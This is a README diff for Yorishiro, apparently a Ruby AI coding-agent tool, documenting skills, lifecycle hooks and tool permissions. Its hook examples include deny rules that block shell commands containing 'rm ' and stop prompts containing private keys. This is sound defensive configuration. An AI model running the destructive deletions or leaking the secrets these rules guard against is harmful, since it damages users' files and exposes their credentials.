+    prompt("You are a code reviewer. Review this diff and list issues:\n#{`git diff`}")
+  end
+end
+
+skill ReviewSkill.new
+# => /review feeds the diff to the LLM and runs the agent loop
+```
+
+Skill files can also be auto-loaded: any `Yorishiro::Skill` subclass defined in
+`~/.yorishiro/skills/*.rb` (global) or `./.yorishiro/skills/*.rb` (project-local)
+is registered automatically at startup — no `skill ...` call needed. When both
+directories define a skill with the same name, the project-local one wins.
+
+```ruby
+# .yorishiro/skills/changelog.rb
+class ChangelogSkill < Yorishiro::Skill
+  def name = "changelog"
+  def description = "Summarize recent commits"
+
+  def execute(_context)
+    prompt("Summarize these commits for a changelog:\n#{`git log --oneline -20`}")
+  end
+end
+# => /changelog is available automatically
+```
+
+### Hooks
+
+Run Ruby blocks on lifecycle events from `.yorishirorc`:
+
+```ruby
+# Veto a tool call before the permission prompt (the denial is returned
+# to the LLM as the tool result so it can change course)
+on :before_tool_use do |tool_name, args|
+  deny("rm is not allowed") if tool_name == "execute_command" && args["command"].to_s.include?("rm ")
+end
+
+# Observe tool results (a failing hook only prints a warning)
+on :after_tool_use do |tool_name, _args, result|
+  File.open(".yorishiro/audit.log", "a") { |f| f.puts "#{tool_name}: #{result.to_s[0, 100]}" }
+end
+
+# Block a message before it reaches the LLM
+on :user_prompt_submit do |input|
+  deny("do not paste secrets") if input.include?("BEGIN PRIVATE KEY")
+end
+```
+
+Only an explicit `deny("reason")` (or `:deny`) return value vetoes the action — anything else proceeds, so logging-only hooks are safe. A `before_tool_use` hook that raises an exception denies the call (fail closed). Hooks also apply to MCP tools and plan mode.
+
 ### Full Configuration Example
 
 ```ruby
@@ -223,7 +312,9 @@ plan_mode false
 # Built-in tools
 allow_tool Yorishiro::Tools::ReadFile.new
 allow_tool Yorishiro::Tools::WriteFile.new
+allow_tool Yorishiro::Tools::EditFile.new
 allow_tool Yorishiro::Tools::ListFiles.new
+allow_tool Yorishiro::Tools::Grep.new
 allow_tool Yorishiro::Tools::ExecuteCommand.new,
   allow_commands: [
     "ls *",
@@ -232,6 +323,7 @@ allow_tool Yorishiro::Tools::ExecuteCommand.new,
     "bundle exec *",
     "ruby *"
   ]
+allow_tool Yorishiro::Tools::Task.new
 
 # MCP servers
 mcp_server "filesystem",
@@ -245,8 +337,11 @@ mcp_server "filesystem",
 |------|-------|-------------|------------|
 | `read_file` | `Yorishiro::Tools::ReadFile` | Read file contents | Not required |
 | `write_file` | `Yorishiro::Tools::WriteFile` | Write to a file | Required every time |
+| `edit_file` | `Yorishiro::Tools::EditFile` | Replace an exact string in a file | Required every time |
 | `list_files` | `Yorishiro::Tools::ListFiles` | List directory / glob search | Not required |
+| `grep` | `Yorishiro::Tools::Grep` | Search file contents with a Ruby regexp | Not required |
 | `execute_command` | `Yorishiro::Tools::ExecuteCommand` | Execute shell commands | Pattern-based |
+| `task` | `Yorishiro::Tools::Task` | Delegate read-only research to a subagent with a fresh context window | Not required |
 
 ## Development